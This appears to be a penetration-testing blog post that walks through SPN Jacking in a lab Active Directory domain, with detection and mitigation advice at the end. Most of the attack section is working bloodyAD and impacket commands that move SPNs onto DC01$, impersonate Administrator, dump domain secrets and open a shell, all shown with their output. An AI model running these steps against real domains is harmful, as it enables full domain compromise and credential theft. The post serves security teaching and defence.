Introduction

Active Directory environments are full of subtle misconfigurations that can lead to complete domain compromise. One of the less-documented attack paths combines two primitives that alone seem harmless: Constrained Delegation and WriteSPN. Together, they enable an attacker to impersonate any user, including Domain Admins, against a Domain Controller.

SPN Jacking is particularly valuable when classic alternatives like RBCD or Shadow Credentials are blocked or monitored. SPN Jacking offers an alternative path to domain compromise using only WriteSPN and an already-configured delegation.

This technique was first documented by Elad Shamir in 2022. This post covers both variants with a practical lab walkthrough.


Prerequisites

For this attack to work, three conditions must be met:

  1. Attacker controls an account (delegator) with Constrained Delegation configured (msDS-AllowedToDelegateTo is not null)

  2. delegator has TrustedToAuthForDelegation flag set (Protocol Transition)

    TrustedToAuthForDelegation set as True

    TrustedToAuthForDelegation set as True

  3. delegator has WriteSPN on the target high-value account (DC01$)

Delegator access on WIN10$ & DC01$ SPN’s

Delegator access on WIN10$ & DC01$ SPN’s


Background

Constrained Delegation

Constrained Delegation allows a service account to request Kerberos tickets on behalf of other users, but only for specific target services. It is configured via the msDS-AllowedToDelegateTo attribute and relies on two Kerberos extensions:

  • S4U2Self – the account obtains a forwardable ticket for any user, for itself (Protocol Transition)
    • KDC will only issue a forwardable ticket via S4U2Self if the requesting account has the TrustedToAuthForDelegation flag set. Without it, the ticket is not forwardable and S4U2Proxy will reject it.

Delegator → KDC: “Administrator just connected to me, give me a ticket proving that.”

KDC: “Do you have TrustedToAuthForDelegation? Yes? Ok, I trust you. Here’s a ticket for Administrator → delegator.”

  • S4U2Proxy – the account uses that ticket to request a TGS for the target SPN
    • KDC will only accept S4U2Proxy if the SPN passed via -spn is listed in the msDS-AllowedToDelegateTo attribute of the requesting account.

Delegator → KDC: “I have Administrator’s ticket, now I want a ticket to http/WIN10.lab.local on his behalf.”

KDC: “Checking msDS-AllowedToDelegateTo… http/WIN10.lab.local is on the list? Yes? Ok, here’s the ticket.”

Together, these two checks form the delegation chain: TrustedToAuthForDelegation allows the account to obtain a forwardable ticket without the user being present (S4U2Self), and msDS-AllowedToDelegateTo controls which services that ticket can be forwarded to (S4U2Proxy). Both must be satisfied, without the first, the ticket isn’t forwardable; without the second, the KDC rejects the proxy request.

WriteSPN

WriteSPN is a DACL permission that grants the ability to modify the servicePrincipalName attribute on an AD object. This is often granted carelessly during service account deployments.

The Key Insight

The KDC encrypts each TGS ticket using the long-term key of the account that owns the target SPN. If an attacker moves a SPN onto a high-value account like a Domain Controller, the resulting TGS will be encrypted with that DC’s key. Combined with -altservice, this ticket becomes valid for CIFS, LDAP, or other services running on that DC, enabling DCSync and full domain compromise.


Lab Setup

Object Details
Domain lab.local
DC DC01 (192.168.10.30)
Attacker account delegator
Delegator rights TrustedToAuthForDelegation, Constrained Delegation to http/WIN10.lab.local, WriteSPN on DC01$
Target DC01$

Variant 1: Live SPN Jacking

In this variant SPN is consistently being used by WIN10. So we need to do two things for it to work.

  • We have to remove SPN from WIN10 (We need WriteSPN to actually do that).
  • Register the removed SPN from WIN10 on DC01 (Which we also need WriteSPN on).

Step 1 – Verify current rights & state

bloodyAD -u delegator -p 'Password123!' -d lab.local --host 192.168.10.30 get object 'WIN10$' --attr servicePrincipalName
Checking WIN10 SPN

Checking WIN10 SPN

bloodyAD -u delegator -p 'Password123!' -d lab.local --host 192.168.10.30 get object 'delegator' --attr msDS-AllowedToDelegateTo
Checking Delegation rights

Checking Delegation rights

Step 2 – Move the SPN from WIN10$ to DC01$

Remove http SPNs from WIN10$ (replace with safe defaults):

bloodyAD -u delegator -p 'Password123!' -d lab.local --host 192.168.10.30 \
    set object 'WIN10$' servicePrincipalName \
    -v 'RestrictedKrbHost/WIN10' -v 'RestrictedKrbHost/WIN10.lab.local' \
    -v 'HOST/WIN10' -v 'HOST/WIN10.lab.local'

[+] WIN10$'s servicePrincipalName has been updated

Add http SPNs to DC01$:

bloodyAD -u delegator -p 'Password123!' -d lab.local --host 192.168.10.30 \
    set object 'DC01$' servicePrincipalName \
    -v 'http/WIN10.lab.local' -v 'http/WIN10'

[+] DC01$'s servicePrincipalName has been updated

Step 3 – S4U2Self + S4U2Proxy

impacket-getST \
    -spn 'http/WIN10.lab.local' \
    -altservice 'cifs/DC01.lab.local' \
    -impersonate 'Administrator' \
    -dc-ip 192.168.10.30 \
    'lab.local/delegator:Password123!'

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from http/[email protected] to cifs/[email protected]
[*] Saving ticket in Administrator@[email protected]

The -altservice flag substitutes the SPN in the ticket from http/WIN10.lab.local to cifs/DC01.lab.local. This works because both SPNs belong to DC01$ – the KDC encrypted the ticket with DC01’s key, so the substitution is valid.

Step 4 – Use the ticket

export KRB5CCNAME='Administrator@[email protected]'

# DCSync
impacket-secretsdump -k -no-pass dc01.lab.local

# Or interactive shell
impacket-smbclient -k -no-pass dc01.lab.local

Dumping secrets from DC01

Dumping secrets from DC01

Variant 2: Ghost SPN Jacking

In this variant we never touch an existing SPN. The delegation is configured to point at a SPN that does not exist or was just renamed to something else. This orphaned SPN exists in msDS-AllowedToDelegateTo on WIN10$, but no other object has it. Which means that we can take it and register it on DC01 or some other machine account that we have WriteSPN access to.

Step 1 – Finding GhostSPN configured on Delegator

bloodyAD -u delegator -p 'Password123!' -d lab.local --host 192.168.10.30 get object 'delegator' --attr msDS-AllowedToDelegateTo

distinguishedName: CN=delegator,OU=LabUsers,DC=lab,DC=local
msDS-AllowedToDelegateTo: http/ghost.lab.local

We can utilize this command to double check if GhostSPN exists somewhere:

bloodyAD -u delegator -p 'Password123!' -d lab.local --host 192.168.10.30 \
    get object 'DC01$' --attr servicePrincipalName

At this point http/ghost.lab.local does not exist on any account in the domain.

Step 2 – Add the ghost SPN directly to DC01$

Because of our WriteSPN rights we can write the GhostSPN on DC01 directly and request ticket using S4U.

bloodyAD -u delegator -p 'Password123!' -d lab.local --host 192.168.10.30 \
    set object 'DC01$' servicePrincipalName \
    -v 'http/ghost.lab.local'

[+] DC01$'s servicePrincipalName has been updated

Step 3 – S4U

impacket-getST \
    -spn 'http/ghost.lab.local' \
    -altservice 'cifs/DC01.lab.local' \
    -impersonate 'Administrator' \
    -dc-ip 192.168.10.30 \
    'lab.local/delegator:Password123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from http/[email protected] to cifs/[email protected]
[*] Saving ticket in Administrator@[email protected]
export KRB5CCNAME='Administrator@[email protected]'

impacket-wmiexec -k -no-pass dc01.lab.local
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
lab\administrator

C:\>hostname
DC01

Live vs Ghost – Comparison

Live Ghost
Existing SPN required Yes No
Operations Remove from A, add to B. Add to target only.
Detectability Higher Lower
Service Disruption Yes - WIN10 loses http SPN None

Why Does This Work?

The KDC resolves a SPN lookup by finding which account owns that SPN in LDAP. When it issues a TGS for http/WIN10.lab.local, it encrypts the ticket with the long-term key of whichever account holds that SPN at query time. By moving the SPN to DC01$, the ticket is now encrypted with DC01’s machine account key. The -altservice trick then rewrites the SPN name in the ticket body, this is permitted because the encryption key hasn’t changed. The result is a valid cifs/DC01.lab.local ticket for any user we chose to impersonate.


Detection

Event ID 4742 (Computer Account Changed) – look for modifications to servicePrincipalName on computer objects, especially Domain Controllers.

Event ID 4738 (User Account Changed) – changes to msDS-AllowedToDelegateTo indicate new or modified delegation configuration.

# Find accounts with Constrained Delegation configured
Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*"} `
    -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation |
    Select SamAccountName, msDS-AllowedToDelegateTo, TrustedToAuthForDelegation

# Find computers with unexpected SPNs
Get-ADComputer -Filter * -Properties servicePrincipalName |
    Select Name, servicePrincipalName

Mitigation

  • Do not grant WriteSPN on Domain Controllers to regular users or service accounts

  • Audit delegation configurations – any account with TrustedToAuthForDelegation and WriteSPN on a sensitive object is a potential vector

  • Protected Users security group – members cannot be delegated, blocking S4U2Proxy

  • Privileged Access Workstations – reduce exposure of sensitive accounts

  • Monitor SPN changes – alert on Event 4742 where servicePrincipalName is modified on Domain Controllers


References